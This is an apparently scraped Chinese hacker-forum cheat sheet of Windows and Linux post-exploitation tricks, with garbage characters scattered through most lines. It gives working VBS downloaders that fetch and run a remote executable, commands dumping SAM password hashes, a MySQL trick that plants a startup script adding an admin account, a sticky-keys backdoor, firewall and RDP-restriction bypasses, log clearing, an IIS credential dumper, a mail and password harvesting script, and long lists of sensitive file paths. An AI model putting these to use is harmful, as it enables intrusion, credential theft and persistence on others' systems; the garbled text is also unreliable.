* [argp@julius ~]$ ./nfs_mount_ex
*
  H# c6 _3 e8 A! a* H# b" zcalling nmount()
) S5 s' O. n/ [" }- E% D1 ^* s
# [4 |. D: {: F9 h（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
0 r1 X& a# K) o——————————————
: ~  H6 w4 l2 Z3 x9 T, ^感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
+ ^* a' q& Y8 U1 M( C2 T( R/ d" w- d关于tar的打包方式,linux不以扩展名来决定文件类型。
  a1 T+ ]) L, v& o" {# e若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
, S- ^2 h: L1 `8 `2 U, v那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

& g" n* t% I% ~; _' |6 W提权先执行systeminfo
token 漏洞补丁号 KB956572
& f8 L1 Q$ K. g7 [2 gChurrasco          kb952004
命令行RAR打包~~·
& d! K( T0 c5 i3 H4 ^# `4 i' urar a -k -r -s -m3 c:\1.rar c:\folder
4 k( U! I5 z4 [* G- O7 B——————————————
  W- ?8 f+ r4 n# ~7 L0 c' Z5 x* {2 F2、收集系统信息的脚本  
  h; p, l3 Y# W8 G6 O/ f" h# ~5 Ifor window：
8 f" j3 b/ D. @$ ?3 D) J
@echo off
8 f8 g7 I$ l3 z$ L" p  q8 ?$ Q! Uecho #########system info collection
5 r# a4 N+ O: [/ y( N- `  V9 @$ Vsysteminfo
ver
- N6 A2 J3 k& Y3 J8 O8 ehostname
net user
net localgroup
- ?6 Q6 o# M4 ?, _net localgroup administrators
net user guest
' p" H3 L/ H( q; A3 N' C/ Rnet user administrator
$ T7 E! S* m/ ?1 Q3 H
9 n. P3 T# p1 m# u) g, T7 i- C* lecho #######at- with   atq#####
' ]1 d# G' f  W! }3 f1 L9 }echo schtask /query
; t, T2 s: v- ^6 S7 _6 b0 @$ X
3 k& H- k  y- E) j5 Jecho
echo ####task-list#############
( m/ O4 t% i6 u9 ^8 ptasklist /svc
echo
5 T7 s/ b" \+ C6 E( t9 becho ####net-work infomation
ipconfig/all
route print
) Y% O, h3 E4 ]* e5 C* w9 l9 d2 qarp -a
netstat -anipconfig /displaydns
echo
echo #######service############
+ M' E1 w# _% }sc query type= service state= all
5 n+ _" G5 G  N# }; [6 ?! necho #######file-##############
4 z+ Q- T$ U& L) d. icd \
tree -F
for linux：
3 J4 o2 a5 k8 A
#!/bin/bash

echo #######geting sysinfo####
0 b8 o- q7 O2 aecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
- D$ u) t: S& `) decho #######basic infomation##
cat /proc/meminfo
$ o% A1 p5 M  ~. s3 K' G, |% Becho
5 c" Q) t! x' e3 h4 _9 Ecat /proc/cpuinfo
4 q8 c9 m) v' p1 Gecho
  T' M! c- K; I2 x% F  }1 erpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null


/ t, n4 z) I2 ~- |echo 'u'r id is' `id`
echo ###atq&crontab#####
4 o# d# }( r( p* k1 H3 [! Natq
crontab -l
, X# j8 e! }  r$ S" uecho #####about var#####
set
6 n+ _9 `6 p$ e0 b- \5 h: g
echo #####about network###
# q8 }/ a( {8 @4 _8 i3 x####this is then point in pentest,but i am a new bird,so u need to add some in it
+ g" j. V/ K0 \- G5 Hcat /etc/hosts
/ c( V6 b' h. H7 u+ ~/ Y6 fhostname
5 H! A& U: t4 I7 `& l0 R  ~ipconfig -a
0 i1 v- N$ Z* b1 darp -v
echo ########user####
  X/ g/ A+ S; O! Q9 lcat /etc/passwd|grep -i sh
7 _8 @$ y  E& b  H* q' C* P
- I6 K9 i1 C8 f2 qecho ######service####
chkconfig --list
: r- q1 L' ~1 l% n
' W$ r4 V/ \: e4 U. ifor i in {oracle,mysql,tomcat,samba,apache,ftp}
7 h+ V# e; k$ ]; {5 [cat /etc/passwd|grep -i $i
done

. {: l. P1 a0 c) elocate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
# w8 a/ i6 Q! I" U* S! L. _locate config >>/tmp/sysconfig 2>/dev/null
sleep 5

###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
. B' w" K& f, x. p——————————————
3、ethash 不免杀怎么获取本机hash。
+ x8 F8 p, `8 J7 I首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
$ u5 O! A' c( j( e9 _, n. R4 \               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
  I: k0 r! B; C! r注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
7 C  z3 j- \( C4 P; V- Zhash 抓完了记得把自己的账户密码改过来哦！
( N% C: M6 I0 t7 @1 s据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
  ]- ]5 o: n0 |——————————————
4、vbs 下载者
7 Z% a- Y' a( D. E: x1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
  Z+ ?1 E3 T# h9 Rcftmon.vbs
' i" U  c, o  Q8 M; C3 q
2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
, P+ y1 K1 c4 O) xs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
: W% S- l8 P: a9 t* lSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
9 c$ E" T' j( V3 ]
8 f: }0 X4 U0 d) V! m* W2 Xcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
) C2 G, H- l4 q, W- O——————————————————
+ |. |3 @1 A. M8 p5 j7 m6 G; K! S% k5、
1.查询终端端口
6 Z' C% L" i6 S! R, SREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
9 x& m6 U6 L( {0 @! N2.开启XP&2003终端服务
: d8 I" Y( w  H. D6 bREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
& ~" i7 U) V( ^' oREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
: V2 w) C# r/ o+ Y, t$ uREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
( o( b- E5 o  M* a  ]  G0 UREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
& t6 _1 Z' ~# y2 @insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
9 z; ?3 z5 r; n4 o( d, \% t/ \7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
1 y" d6 o3 q2 A3 D_____
. ]4 F* z* N8 K" _# L  P/ V6 o% F! y8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
  
8 V. }* N3 j5 s  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

6 |4 h7 I7 Y7 ufor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
9 ?1 h2 i1 ?8 G* i$ k
' Y  B9 ?  M$ H! T7 E3.for /f %i in (c:\1.txt) do echo %i
  
' Y+ q+ A0 @- E: K  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
( N% v7 m+ d3 g  a6 s/ o
# Z- R2 \! ]. c! q# D* t/ i4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
$ c7 u9 e( @- B
  delims=后的空格是分隔符 tokens是取第几个位置
——————————
# [+ n; I; A  W$ B" T9 |( O●注册表:
/ i: |0 G, |$ c+ z1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
% q2 h+ C% W# `
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

+ i$ `/ _$ ?1 ]+ Z3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

0 L0 P6 r: e' ]' Y- M4.Radmin密码:
" I! V7 l1 Y7 ^' q1 [/ H7 U$ dreg export HKLM\SYSTEM\RAdmin c:\a.reg
: a1 c7 @2 {) Y
3 y% R# h; g' n& p2 E* `: a: |' D5.禁用TCP/IP端口筛选(需重启):
7 J  i$ \3 Z3 [: H/ F, u6 mREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
& x% E+ n4 @  T# U" W! U8 {2 _5 F
. q9 C6 c" I8 W7 J+ Y. n0 n2 M6.IPSec默认免除项88端口(需重启):
: x' Z4 }1 \+ Z1 p+ ereg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
0 W, n  ~, |3 I& x& y: r
' w6 _0 v& R2 J9 i; N3 ?" ]7.停止指派策略"myipsec":
' L7 ^5 ~- M7 I: W4 i7 k. znetsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

( P( `4 C: h; r( H" L9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
) y6 r! ^1 H: `) R' X' C5 Ereg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
9 d: W2 @; C/ ~+ k! W
+ E1 |" d6 Q: r6 v( _  S. k10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
0 m6 z( P# C4 b  I, j
, f5 j- E0 n! Areg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
0 @! r" T$ p  z& E-----------------------------------
星外vbs(注：测试通过，好东西）
' d2 k  \( \! C3 }/ rSet ObjService=GetObject("IIS://LocalHost/W3SVC")
( B6 s9 a7 ]+ E' D9 l) q$ ~7 SFor Each obj3w In objservice
* c: E4 S+ |% E- k8 E4 G' hchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
. v  ~2 }; \3 x4 \0 o9 gset IIs=objservice.GetObject("IIsWebServer",childObjectName)
, T. U4 |7 y0 M3 K+ Z$ A3 tif err.number<>0 then
3 s# x. W$ K7 }& }8 l- i4 ^! Oexit for
6 ]3 m" i7 g7 K' o6 Vmsgbox("error!")
wscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
& _* E  J. S% l8 \! Nset IISweb=iis.getobject("IIsWebVirtualDir","Root")
  j+ r$ t/ O) f: D0 Q; N  Muser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
/ u6 y* l- l# A% Olist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
7 M& L( U$ }) C1 @6 Tend if
8 y! e  M/ O+ k( q! t% y% VNext
7 d3 Y$ B9 Z5 U3 |! F5 S/ h* L& s8 awscript.echo list
$ ]3 T4 u) ?) x# x0 x$ ^/ oSet ObjService=Nothing
4 Q$ Z' J& R* J, C2 T4 O9 `+ e& Gwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
% F: U! [- N1 V3 J* r2 S+ PWScript.Quit
5 t8 `- G) q) T% Y: U, a0 J! c复制代码
  H/ h- G) N3 a& F) \----------------------2011新气象，欢迎各位补充、指正、优化。----------------
% w% E/ D: V6 w& F7 ?1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
" _4 Y$ i) K$ I/ i0 P1 i2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
; B3 U4 n1 Q, v/ b3 O* p, m将folder.htt文件，加入以下代码：
9 F9 _% ?( N* }  Y+ t<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
5 a# R# @0 Z/ g: D! J# \</OBJECT>
复制代码
3 ]" S! L' p- h然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
- g' X5 _, \/ C$ ^* cPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
$ C) v+ Z  z0 d0 dasp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
% W" D+ ]4 d/ L' h7 | 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
3 N0 r" B' P& l0 r
==============================================================
LINUX常见路径：
% n; Q7 a) L- j' d
8 J, p' w& z0 U+ ?2 \& G5 X+ K. R/etc/passwd
/etc/shadow
+ R4 {2 a6 }5 }+ L/ G/etc/fstab
: e: j/ L: R' Q% Y4 F, N  }$ W- e/etc/host.conf
, J7 A2 B, I4 N8 l" }1 ?/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
* w% k% ]. Z/ S6 ^/var/www/conf/httpd.conf
/var/www/htdocs/index.html
( j; F3 p" K  X% V8 P/var/httpd/conf/php.ini
2 o: f. d/ p( l7 p! O) e/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
1 ]. S1 i* Q6 m+ V; O/var/httpd/htdocs/index.html
/ q. b  e5 x; y: q2 z5 [5 w, c/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
7 ?7 L% v6 B5 ]  R3 `) S/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
' e; X$ K  f9 D7 s3 w/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
9 @' B7 V/ h# N4 \% f* p/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
. W4 b( Y0 j2 m9 f/ T' e/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
$ m( e0 z  F9 H4 ]/www/php4/php.ini
/www/php5/php.ini
" O2 N$ z, h5 S( Z2 d* G" z5 b: X/www/conf/httpd.conf
/www/htdocs/index.php
$ Y, b5 Z$ g: |8 l7 ?+ t& h/www/htdocs/index.html
: U$ T' o& j1 W2 D0 S' ~$ w/usr/local/httpd/conf/httpd.conf
3 X+ @# e2 U# m: J! n; [/apache/apache/conf/httpd.conf
7 T8 n, h) N! D; e( n  h/apache/apache2/conf/httpd.conf
3 T  Y  u1 y9 O/etc/apache/apache.conf
3 ?# v/ z( E( I* P/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
1 _0 E' q! v1 s( S5 y$ Z" X  y9 G/etc/phpmyadmin/config.inc.php
8 S! A5 ?) Z9 e# }$ X$ z/etc/mysql/my.cnf
( U6 o+ S0 [% q( A/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
  F; Q! L& f0 D- ~5 P3 E, r- O/etc/httpd/logs/access_log
, T% b: ^: t: J3 `: d/etc/httpd/logs/access.log
+ ]0 e* a2 V6 O5 I/home/apache/conf/httpd.conf
1 `7 S: g2 L) o7 }- Q! Y% z9 h4 @/home/apache2/conf/httpd.conf
" n8 r* c5 _/ c  d% a/var/log/apache/error_log
/var/log/apache/error.log
3 h& `# R% L$ @/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
* k- f5 Q) S7 v: P. @5 W$ I/var/log/apache2/error.log
% {# H2 H. x9 ^& ?# L/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
& G+ l( r) D' |) k/var/www/logs/access_log
- H  k: J: D/ J) M. I0 G/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
+ _8 K0 M) }1 P/usr/local/apache/logs/access.log
/var/log/error_log
/ f) L. C7 @* w, j7 N/var/log/error.log
/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
9 `3 N, m) V# `& @- G0 b+ ]2 O8 J/bin/php.ini
+ L3 [; C6 L! U! J1 N1 y/etc/init.d/httpd
; O2 b7 ^9 y% u2 l. ^/ m/ t/etc/init.d/mysql
, S+ T% J$ P7 q! c7 a  [/etc/httpd/php.ini
/usr/lib/php.ini
1 {9 j3 q' C) M6 C2 {: P. u/usr/lib/php/php.ini
/usr/local/etc/php.ini
* k3 a; Y$ F8 l' [: l: H( p2 p, |/usr/local/lib/php.ini
" ~9 {2 C- b7 O/usr/local/php/lib/php.ini
: T2 l/ r" Y3 \* f+ f' S' d/usr/local/php4/lib/php.ini
) o5 A5 S6 H3 B( }/ e2 V/usr/local/php4/php.ini
  E8 U2 X& d6 R# z/usr/local/php4/lib/php.ini
/ a4 n% x+ H5 |* [3 `1 {8 ^/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
' Q3 @' W. g) d. w/usr/local/apache/conf/php.ini
& Z  d" m4 s; O: m5 {/usr/local/apache/conf/httpd.conf
4 u1 P* m0 G6 ^/ y$ L9 j/usr/local/apache2/conf/httpd.conf
3 d, Q4 h/ |1 w% w/usr/local/apache2/conf/php.ini
# y; c  _, `! m' \5 E) z/ J  G/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
4 \$ `% Y4 l& w/etc/php5/apache2/php.ini
/etc/php/php.ini
5 ?# C$ ~  `7 C/etc/php/php4/php.ini
/etc/php/apache/php.ini
# d8 Q( B5 d5 t/etc/php/apache2/php.ini
/web/conf/php.ini
# J" m9 Z, J' x' ?/usr/local/Zend/etc/php.ini
* a+ r2 {2 i8 Z% R4 F, b- E) e1 Q/opt/xampp/etc/php.ini
$ D3 ?+ O. ^' n" [; \' [0 O: p9 G/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
9 {+ {' ]0 {( ^4 z/ i! |# f9 U% @  I/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
8 D# n: q! O7 `/etc/php5/cgi/php.ini
; ^& L( e. B* |' S9 k/php5/php.ini
6 h( T) p0 @; }* \/php4/php.ini
  U3 e' c$ i( u/ ?  o/ f9 A- a, F/php/php.ini
/PHP/php.ini
/apache/php/php.ini
" H4 Q& Q: b  a1 B/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/ @& K& @; y4 l" C9 W* E: l/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
3 c' ^+ c& k5 x2 J% a8 M& w7 f/var/log/mysqlderror.log
1 J4 m! P1 }# Z6 V4 p0 n/var/log/mysql/mysql.log
1 P; h; a7 ^: ~, ?4 F8 V/var/log/mysql/mysql-slow.log
5 Q: C  {/ ?* _* H# Y, o/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
* o) d2 Y: n+ x1 g% d' w/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
) @( E' m$ C9 H: K4 ^6 x/usr/local/cpanel/logs/stats_log
$ v# h' T4 ^! {4 h; ^) l. E/usr/local/cpanel/logs/access_log
' r% o) k- k- a! S5 U/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
; ?0 t4 _( x: h2 g+ S( O% p/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
0 V1 a6 K" @3 ~" j/usr/local/share/examples/php4/php.ini
2 o& h+ f9 G. c0 X+ J' x/usr/local/share/examples/php/php.ini
3 }+ B% A7 o! S0 B: i  e7 b
- }) B8 U' C9 h% ?7 ^' z2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
% N3 S  R& a8 o" e/ ^8 t( r
6 M7 C) c  p9 Kc:\windows\php.ini
c:\boot.ini
c:\1.txt
/ }% J" w. U' W% Q# R( F, y5 Ec:\a.txt

  H4 G! E+ ?9 }% |* }c:\CMailServer\config.ini
2 Q7 J" u) e" C3 X# Mc:\CMailServer\CMailServer.exe
3 q/ s0 @9 F* }0 K. p; rc:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
: x$ d* v- T  _3 \) y. JC:\WinWebMail\SysInfo.ini
% f+ m' B* F* K0 NC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
: P- M& m) B5 [) G6 n. iC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

% o- f* Q) V* ~3 x0 _' Ic:\hzhost\hzclient.exe
  Z0 l# m' V. F2 v2 sC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
5 J6 K2 x3 B& F9 E2 }
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
4 N- h; ]+ G" \: Z$ ac:\web\index.html
c:\www\index.html
. i1 \  h. a  ]# Hc:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
6 I& \+ E; v- k5 E; Dc:\wwwsite\index.asp
3 m" R& f7 I" s5 p5 \c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
1 F# |1 W( n6 H! Ec:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
7 G3 [7 J8 w. L# Nc:\WWWROOT\default.html
+ T+ z# ~  @! S* `& Yc:\website\default.html
) D& j2 _& h9 V( p* J/ U# Zc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
2 t$ O" R) g8 n. L( lc:\WWWROOT\default.asp
' y8 K7 [) s/ |0 s% y& Bc:\web\default.php
c:\www\default.php
; Y- O) z: v4 W' R7 dc:\WWWROOT\default.php
$ @$ o2 a& Q( Mc:\WWWsite\default.php
8 R, Z: J" A+ {/ XC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
9 l  W2 ~) Z& @4 uC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
( r* }6 h$ H9 M7 QC:\Program Files\Microsoft Office\OFFICE12\winword.exe
! D/ ~8 ~5 _5 n, W0 p- s# Q2 jC:\Program Files\Internet Explorer\IEXPLORE.EXE
, j" m1 E9 J( d! _" N5 Y7 ]C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
" q5 h8 L" N0 w3 ic:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
& d9 z/ M8 R5 _* t" J- d$ ?C:\Documents and Settings\Administrator\Cookies\index.dat
5 u$ ^" X) p8 ^6 @1 S- z1 UC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
5 n# Z8 @1 @# O9 b% CC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
/ A0 o7 S# h3 k. g1 ?  J1 Q0 Q, h2 |4 SC:\Documents and Settings\Administrator\My Documents\1.txt
# ~' w) a7 l9 g5 EC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
( Y! ]8 D1 `5 @; i* lC:\Documents and Settings\Administrator\桌面\a.txt
. x% h# e2 i" o* ?0 M/ R  oC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
! A) \6 E$ E) e: F; O+ r8 o) h. ~C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
7 G; B, p* m1 ?/ _7 ~8 I( LC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
, }) s$ s1 P2 M% e# v7 IC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
: w1 P" z( @6 w0 S7 i4 A" ^2 l$ qC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
4 R; {$ h5 m6 c( ^; a+ ZC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
) y6 W- y8 K" E* bC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
  X6 |7 B6 }3 A- p& _' N3 ]# gC:\MySQL\MySQL Server 5.0\my.ini
9 t/ C' G) j% W1 _8 u% ~C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
8 M# F0 q: O8 u: {2 dC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
7 r4 e, O' n% [4 P/ yc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
% S* n; c* A$ c) u7 u1 K, p$ s; rC:\Program Files\Oracle\oraconfig\Lpk.dll
7 o" p0 c5 c2 q! bC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
& U5 G( s) N( S. v3 ]C:\WINDOWS\system32\config\default.LOG
: w2 s- O" T6 i. B* LC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
# a  q- w& b3 s, Uc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
! j; v( p3 m$ o3 ^7 ]- V  jc:\tomcat6\tomcat6\bin\version.sh
. Q4 O/ I# r6 Q  [$ n. O9 [c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
# q0 S% @. i- M; F) R; X6 rC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
